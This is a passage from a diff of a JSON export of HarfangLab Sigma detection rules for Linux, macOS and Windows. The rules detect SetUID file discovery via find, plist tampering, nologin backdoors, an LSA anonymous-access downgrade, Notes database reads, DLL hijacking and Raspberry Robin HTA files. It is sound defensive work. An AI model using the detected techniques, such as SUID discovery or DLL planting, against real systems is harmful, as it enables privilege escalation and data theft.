linux\ndetection:\n    selection_image:\n        Image|endswith: '/find'\n        CommandLine|contains: ' -perm '\n        ParentImage|contains: '?'\n\n    selection_perm:\n        CommandLine|contains:\n            # Symbolic mode\n            - ' /u=s'\n            - ' -u=s'\n            - ' /g=s'\n            - ' -g=s'\n\n            # Raw permission number\n            - ' 4755'\n            - ' -4755'\n            - ' /4755'\n            - ' 2755'\n            - ' /2755'\n            - ' -2755'\n\n            # Masks\n            - ' /?000'\n            - ' -?000'\n            - ' /0?000'\n            - ' -0?000'\n            - ' /00?000'\n            - ' -00?000'\n\n    exclusion_rapid7:\n        ParentCommandLine:\n            - 'bash -c LANG=C;LANGUAGE=en;find / *| xargs -0 -n 500 ls -lLdN'\n            - \"/bin/bash -c echo 'Rapid7Echo'; (LANG=C;LANGUAGE=en;find / *| xargs -0 -n 500 ls -lLdN*\"\n\n    exclusion_audit:\n        # find /run/lock -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -printf %p is %m should be 1777\\n\n        CommandLine: '* -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -printf %p is %m should be 1777\\n'\n\n    exclusion_cis:\n        # /bin/sh /tmp/CIS-Audit/cis-cat-full/sce/auditd_privilieged_commands_rules_file.sh\n        ParentCommandLine|contains: 'auditd_privilieged_commands_rules_file.sh'\n\n    exclusion_qualys:\n        Ancestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_fstype:\n        CommandLine|contains|all:\n            - '-fstype nfs '\n            - '-fstype nfs4 '\n            - '-fstype gpfs '\n            - '-fstype afs '\n            - '-fstype secfs '\n            - '-fstype smbfs '\n\n    exclusion_xargs:\n        ParentImage: '/usr/bin/xargs'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\n#level: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "46cc50ba-8674-4b25-b88f-d55e3a874f21",
+  "rule_name": "SetUID and SetGID Files Discovered via find",
+  "rule_description": "Detects the execution of 'find' with special arguments to discover files with the SetUID or SetGID access flag set.\nThose access flags allow a user to run a binary using the executable's owner or group permissions instead of its own.\nAttackers can use misconfigured SetUID or SetGID flags to execute a file with a higher privileged user and achieve privilege escalation.\nIt is recommended to investigate the command-line and the ancestors of the find program, as well as suspicious executions following this discovery to determine if this action was legitimate.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1548"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "46cddb02-e1a7-4b35-bd26-bb267f7f1f50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598163Z",
+  "creation_date": "2026-03-23T11:45:34.598169Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598180Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1647/"
+  ],
+  "name": "t1647_plutil_plist_modification.yml",
+  "content": "title: Plist File Modified via plutil\nid: 46cddb02-e1a7-4b35-bd26-bb267f7f1f50\ndescription: |\n    Detects a suspicious modification of a plist file using plutil.\n    Adversaries may modify key-value pairs in plist files to influence system behaviors, in order to hide the execution of an application or to run additional commands for persistence.\n    It is recommended to check if the modification is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1647/\ndate: 2024/06/20\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1647\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Plutil\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection_bin:\n        Image|endswith: '/plutil'\n        CommandLine|contains:\n          - 'replace'\n          - 'insert'\n    selection_path:\n        - CommandLine|contains: # full path\n            - '/Contents/Info.plist'\n            - '/Library/Preferences/com.apple.dock.plist'\n            - '/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm'\n        - CommandLine|contains:\n            - 'Info.plist'\n            - 'com.apple.dock.plist'\n            - 'com.apple.backgroundtaskmanagementagent/backgrounditems.btm'\n          CurrentDirectory|contains: # relative path, use current directory\n            - '/Applications/'\n            - '/Library/Preferences/'\n            - '/Library/Application Support/'\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "46cddb02-e1a7-4b35-bd26-bb267f7f1f50",
+  "rule_name": "Plist File Modified via plutil",
+  "rule_description": "Detects a suspicious modification of a plist file using plutil.\nAdversaries may modify key-value pairs in plist files to influence system behaviors, in order to hide the execution of an application or to run additional commands for persistence.\nIt is recommended to check if the modification is legitimate.\n",
+  "rule_creation_date": "2024-06-20",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1647"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "46d63e16-d3ad-475f-b398-cc1ad556bf8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597026Z",
+  "creation_date": "2026-03-23T11:45:34.597031Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597044Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securitylabs.datadoghq.com/articles/analysis-of-teamtnt-doppelganger/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_nologin_child_process.yml",
+  "content": "title: Suspicious Process Launched by Nologin\nid: 46d63e16-d3ad-475f-b398-cc1ad556bf8d\ndescription: |\n    Detects the creation of a child process by the nologin binary.\n    Attackers may replace the nologin binary by a malicious one while backdooring a machine. Logging in with an account having nologin configured as its shell will trigger the persistence.\n    It is recommended to analyze the system to check if the binary has been replaced by a malicious one.\nreferences:\n    - https://securitylabs.datadoghq.com/articles/analysis-of-teamtnt-doppelganger/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2024/02/02\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    product: linux\n    category: process_creation\ndetection:\n    selection:\n        ProcessParentImage: '/usr/sbin/nologin'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "46d63e16-d3ad-475f-b398-cc1ad556bf8d",
+  "rule_name": "Suspicious Process Launched by Nologin",
+  "rule_description": "Detects the creation of a child process by the nologin binary.\nAttackers may replace the nologin binary by a malicious one while backdooring a machine. Logging in with an account having nologin configured as its shell will trigger the persistence.\nIt is recommended to analyze the system to check if the binary has been replaced by a malicious one.\n",
+  "rule_creation_date": "2024-02-02",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "47004d03-010a-43e2-bca8-9d97cbce746a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621156Z",
+  "creation_date": "2026-03-23T11:45:34.621158Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621162Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blumira.com/integration/how-to-disable-null-session-in-windows/",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1112_lsa_security_lowered_to_include_anonymous_users.yml",
+  "content": "title: LSA Security Lowered to Include Anonymous Users in Registry\nid: 47004d03-010a-43e2-bca8-9d97cbce746a\ndescription: |\n    Detects the modification of the LSA Registry configuration allowing for Null Sessions to be considered as a user from a security perspective.\n    Attackers can set this security setting to allow anonymous sessions to inherit from permissions that all named users already have, and possibly perform privilege escalation.\n    It is recommended to analyze the process and user session responsible for this registry edit, to look for others signs of suspicious activities on the hosts, and to rollback the security downgrade is this change is not legitimate.\nreferences:\n    - https://www.blumira.com/integration/how-to-disable-null-session-in-windows/\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2022/11/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1078\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.t1562\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\EveryoneIncludesAnonymous'\n        Details|contains: 'DWORD'\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    condition: selection and not filter_zero and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "47004d03-010a-43e2-bca8-9d97cbce746a",
+  "rule_name": "LSA Security Lowered to Include Anonymous Users in Registry",
+  "rule_description": "Detects the modification of the LSA Registry configuration allowing for Null Sessions to be considered as a user from a security perspective.\nAttackers can set this security setting to allow anonymous sessions to inherit from permissions that all named users already have, and possibly perform privilege escalation.\nIt is recommended to analyze the process and user session responsible for this registry edit, to look for others signs of suspicious activities on the hosts, and to rollback the security downgrade is this change is not legitimate.\n",
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078",
+    "attack.t1112",
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "470243fa-340b-44b2-a367-42a58b4fa7db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619662Z",
+  "creation_date": "2026-03-23T11:45:34.619664Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619668Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_read_notes.yml",
+  "content": "title: Suspicious Read Access to Notes Files\nid: 470243fa-340b-44b2-a367-42a58b4fa7db\ndescription: |\n    Detects a process reading sensitive files related to the Notes application.\n    Adversaries may target user notes on local systems to collect sensitive information.\n    It is recommended to check whether the process that accessed the file had legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.Collection\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path|startswith:\n            - '/Users/*/Library/Group Containers/group.com.apple.notes/'\n            - '/Users/*/Library/Containers/com.apple.Notes/Data/Library/Notes/'\n        Path|endswith:\n            - 'NoteStore.sqlite'\n            - 'NoteStore.sqlite-shm'\n            - 'NoteStore.sqlite-wal'\n        ProcessImage|contains: '?'\n\n    filter_notes:\n        Image:\n            - '/System/Applications/Notes.app/Contents/PlugIns/com.apple.Notes.*'\n            - '/System/Applications/Notes.app/Contents/MacOS/Notes'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_security_tools:\n        Image: '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n\n    ### misc\n    exclusion_vscode:\n        Image: '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_app_folder:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n\n    exclusion_rsync:\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.apple.rsync'\n        - ProcessImage: '/opt/homebrew/Cellar/rsync/*/bin/rsync'\n\n    exclusion_grep:\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.apple.grep'\n        - ProcessImage: '/usr/local/Cellar/ripgrep/*/bin/rg'\n\n    exclusion_ditto:\n        ProcessCommandLine|contains: '/ditto -rsrcFork '\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.ditto'\n\n    exclusion_raycast:\n        ProcessCommandLine|startswith: 'sqlite3 --json --readonly '\n        ProcessGrandparentImage: '/Applications/Raycast.app/Contents/MacOS/Raycast'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "470243fa-340b-44b2-a367-42a58b4fa7db",
+  "rule_name": "Suspicious Read Access to Notes Files",
+  "rule_description": "Detects a process reading sensitive files related to the Notes application.\nAdversaries may target user notes on local systems to collect sensitive information.\nIt is recommended to check whether the process that accessed the file had legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "473427dc-881b-4f08-b432-cd1bd3a57bf2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087134Z",
+  "creation_date": "2026-03-23T11:45:34.087136Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087141Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_compmgmtlauncher.yml",
+  "content": "title: DLL Hijacking via compmgmtlauncher.exe\nid: 473427dc-881b-4f08-b432-cd1bd3a57bf2\ndescription: |\n    Detects potential Windows DLL Hijacking via compmgmtlauncher.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'compmgmtlauncher.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\apphelp.dll'\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.dll'\n            - '\\cscobj.dll'\n            - '\\cscui.dll'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\ntshrui.dll'\n            - '\\PROPSYS.dll'\n            - '\\rsaenh.dll'\n            - '\\sspicli.dll'\n            - '\\twext.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\windowsudk.shellcommon.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "473427dc-881b-4f08-b432-cd1bd3a57bf2",
+  "rule_name": "DLL Hijacking via compmgmtlauncher.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via compmgmtlauncher.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "475e5a2d-b012-4d80-80e8-e5b25fd1d8f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091389Z",
+  "creation_date": "2026-03-23T11:45:34.091391Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091395Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gurucul.com/latest-threats/raspberry-robin-infection-chain-uses-webdav-server/",
+    "https://x.com/Unit42_Intel/status/1857150852114649216"
+  ],
+  "name": "t1218_raspberry_robin_hta.yml",
+  "content": "title: Raspberry Robin Initial Access HTA\nid: 475e5a2d-b012-4d80-80e8-e5b25fd1d8f4\ndescription: |\n    Detects when a hta file starting with bytes specific to Raspberry Robin worm is written on the disk\nreferences:\n    - https://gurucul.com/latest-threats/raspberry-robin-infection-chain-uses-webdav-server/\n    - https://x.com/Unit42_Intel/status/1857150852114649216\ndate: 2025/05/27\nmodified: 2025/06/30\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1218.005\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\n\nlogsource:\n    product: windows\n    category: filesystem_write\ndetection:\n    selection:\n        Path|endswith: '.hta'\n        FirstBytes|startswith: '0d0a0d0a0d0a0d0a0d0a0d0a0d0a0d0a'\n    exclusion:\n        Path|startswith: '?:\\Program Files (x86)\\Trend Micro\\'\n    condition: selection and not 1 of exclusion*\nlevel: high\nconfidence: weak",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "475e5a2d-b012-4d80-80e8-e5b25fd1d8f4",
+  "rule_name": "Raspberry Robin Initial Access HTA",
+  "rule_description": "Detects when a hta file starting with bytes specific to Raspberry Robin worm is written on the disk\n",
+  "rule_creation_date": "2025-05-27",
+  "rule_modified_date": "2025-06-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1218.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "47690f63-b849-4fc7-acbe-86446b0f9903",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075129Z",
+  "creation_date": "2026-03-23T11:45:34.075131Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075135Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
+    "https://attack.mitre.org/techniques/T1564/006/"
+  ],
